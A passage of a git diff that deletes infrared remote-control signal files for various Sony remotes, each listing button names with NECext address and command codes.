Shuffle -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 29 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 33 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 34 00 00 00 -# -name: PLDN -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 36 00 00 00 -# -name: KEY_MAX -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 38 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 3A 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 3B 00 00 00 -# -name: PLUP -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 3C 00 00 00 -# -name: BTN_LEFT -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 60 00 00 00 -# -name: KEY_SELECT -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 65 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 74 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 75 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-X30/132,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-X30/132,-1.ir deleted file mode 100644 index 33df181e4..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-X30/132,-1.ir +++ /dev/null @@ -1,86 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: OFF -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 0D 00 00 00 -# -name: FM_MW_SW -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 0F 00 00 00 -# -name: SEL -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 11 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 12 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 13 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 14 00 00 00 -# -name: SEEK_AMS- -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 1B 00 00 00 -# -name: SEEK_AMS+ -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 1C 00 00 00 -# -name: DSPL -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 28 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 30 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 31 00 00 00 -# -name: KEY_TAPE -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 37 00 00 00 -# -name: KEY_CD -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 48 00 00 00 -# -name: AF_TA -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 4A 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-X40/132,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-X40/132,-1.ir deleted file mode 100644 index 84ce243a9..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-X40/132,-1.ir +++ /dev/null @@ -1,74 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: OFF -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 0D 00 00 00 -# -name: SEL -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 11 00 00 00 -# -name: KEY_KPPLUS -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 12 00 00 00 -# -name: KEY_KPMINUS -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 13 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 14 00 00 00 -# -name: SEEK_AMS- -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 1B 00 00 00 -# -name: SEEK_AMS+ -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 1C 00 00 00 -# -name: DSPL -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 28 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 30 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 31 00 00 00 -# -name: KEY_CYCLEWINDOWS -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 46 00 00 00 -# -name: KEY_MODE -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 47 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-X42/132,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-X42/132,-1.ir deleted file mode 100644 index b96f6ca7e..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-X42/132,-1.ir +++ /dev/null @@ -1,74 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: OFF -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 0D 00 00 00 -# -name: SOUND -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 11 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 12 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 13 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 14 00 00 00 -# -name: SEEK- -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 1B 00 00 00 -# -name: SEEK+ -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 1C 00 00 00 -# -name: DSPL -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 28 00 00 00 -# -name: DISK+ -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 30 00 00 00 -# -name: DISK- -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 31 00 00 00 -# -name: KEY_CYCLEWINDOWS -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 46 00 00 00 -# -name: DIR -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 47 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-X47/132,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-X47/132,-1.ir deleted file mode 100644 index 2405da1b9..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-X47/132,-1.ir +++ /dev/null @@ -1,74 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: off -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 0D 00 00 00 -# -name: sound -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 11 00 00 00 -# -name: sound+ -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 12 00 00 00 -# -name: sound- -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 13 00 00 00 -# -name: att -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 14 00 00 00 -# -name: seek- -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 1B 00 00 00 -# -name: seek+ -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 1C 00 00 00 -# -name: dspl -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 28 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 30 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 31 00 00 00 -# -name: KEY_CYCLEWINDOWS -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 46 00 00 00 -# -name: KEY_MODE -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 47 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-Y155B/1,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-Y155B/1,-1.ir deleted file mode 100644 index 2326f3539..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-Y155B/1,-1.ir +++ /dev/null @@ -1,170 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 00 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 01 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 02 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 03 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 04 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 05 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 06 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 07 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 08 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 09 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0B 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 10 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 11 00 00 00 -# -name: VOL_INC -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 12 00 00 00 -# -name: VOL_DEC -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 13 00 00 00 -# -name: MUTING -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 14 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 15 00 00 00 -# -name: RESET -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 16 00 00 00 -# -name: SAP -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 17 00 00 00 -# -name: TV_VIDEO -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 25 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 36 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 3A 00 00 00 -# -name: JUMP -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 3B 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 60 00 00 00 -# -name: PRESET_PIC -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 64 00 00 00 -# -name: KEY_SELECT -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 65 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 74 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 75 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-Y173/1,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-Y173/1,-1.ir deleted file mode 100644 index dc490164d..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-Y173/1,-1.ir +++ /dev/null @@ -1,176 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 00 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 01 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 02 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 03 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 04 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 05 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 06 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 07 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 08 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 09 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0B 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 10 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 11 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 12 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 13 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 14 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 15 00 00 00 -# -name: RESET -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 16 00 00 00 -# -name: MTS_SAP -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 17 00 00 00 -# -name: TV_VIDEO -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 25 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 33 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 34 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 36 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 3A 00 00 00 -# -name: JUMP -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 3B 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 60 00 00 00 -# -name: CENTER -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 65 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 74 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 75 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-Y180/1,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-Y180/1,-1.ir deleted file mode 100644 index 17619d646..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-Y180/1,-1.ir +++ /dev/null @@ -1,182 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 00 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 01 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 02 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 03 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 04 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 05 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 06 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 07 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 08 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 09 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0B 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 10 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 11 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 12 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 13 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 14 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 15 00 00 00 -# -name: reset -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 16 00 00 00 -# -name: mts/sap -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 17 00 00 00 -# -name: tv/video -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 25 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 33 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 34 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 36 00 00 00 -# -name: display -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 3A 00 00 00 -# -name: jump -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 3B 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 60 00 00 00 -# -name: picturemode -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 64 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 65 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 74 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 75 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-Y800/183,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-Y800/183,-1.ir deleted file mode 100644 index 5a0f3a584..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-Y800/183,-1.ir +++ /dev/null @@ -1,266 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_1 -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 00 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 01 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 02 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 03 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 04 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 05 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 06 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 07 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 08 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 09 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 0B 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 10 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 10 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 11 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 11 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 12 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 12 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 13 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 13 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 14 00 00 00 -# -name: DSS_POWER -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 15 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 15 00 00 00 -# -name: TV/VIDEO -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 25 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 2E 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 2F 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 38 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 3A 00 00 00 -# -name: JUMP -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 3B 00 00 00 -# -name: INDEX -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 3F 00 00 00 -# -name: CATEGORY -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 44 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 47 00 00 00 -# -name: CABLE -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 4E 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 60 00 00 00 -# -name: KEY_VIDEO -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 61 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 63 00 00 00 -# -name: TV/DSS -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 69 00 00 00 -# -name: JUMP -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 6C 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 6E 00 00 00 -# -name: KEY_FAVORITES -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 6F 00 00 00 -# -name: UP_ARROW -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 72 00 00 00 -# -name: DOWN_ARROW -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 73 00 00 00 -# -name: RIGHT_ARROW -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 74 00 00 00 -# -name: LEFT_ARROW -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 75 00 00 00 -# -name: KEY_SELECT -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 76 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-Y812/183,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-Y812/183,-1.ir deleted file mode 100644 index ef829d3b0..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-Y812/183,-1.ir +++ /dev/null @@ -1,116 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_1 -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 00 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 01 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 02 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 03 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 04 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 05 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 06 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 07 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 08 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 09 00 00 00 -# -name: sat_menu -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 38 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 63 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 63 00 00 00 -# -name: sat_satguide -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 6E 00 00 00 -# -name: sat_up -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 72 00 00 00 -# -name: sat_down -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 73 00 00 00 -# -name: sat_right -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 74 00 00 00 -# -name: sat_left -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 75 00 00 00 -# -name: sat_enter -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 76 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RMT-136/2,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RMT-136/2,-1.ir deleted file mode 100644 index 14feb92c4..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RMT-136/2,-1.ir +++ /dev/null @@ -1,62 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 10 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 11 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 15 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 18 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 19 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 1A 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 1B 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 1C 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 1D 00 00 00 -# -name: TV/VTR -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 2A 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RMT-506/7,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RMT-506/7,-1.ir deleted file mode 100644 index 48a88b6b5..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RMT-506/7,-1.ir +++ /dev/null @@ -1,44 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 18 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 19 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 1A 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 1B 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 1C 00 00 00 -# -name: KEY_SLOW -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 23 00 00 00 -# -name: Data_Screen -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 5A 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RMT-B101A/26,226.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RMT-B101A/26,226.ir deleted file mode 100644 index ab8aa432d..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RMT-B101A/26,226.ir +++ /dev/null @@ -1,254 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 1A E2 00 00 -command: 00 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 1A E2 00 00 -command: 01 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 1A E2 00 00 -command: 02 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 1A E2 00 00 -command: 03 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 1A E2 00 00 -command: 04 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 1A E2 00 00 -command: 05 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 1A E2 00 00 -command: 06 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 1A E2 00 00 -command: 07 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 1A E2 00 00 -command: 08 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 1A E2 00 00 -command: 09 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 1A E2 00 00 -command: 0B 00 00 00 -# -name: KEY_CLEAR -type: parsed -protocol: NECext -address: 1A E2 00 00 -command: 0F 00 00 00 -# -name: KEY_EJECTCD -type: parsed -protocol: NECext -address: 1A E2 00 00 -command: 16 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 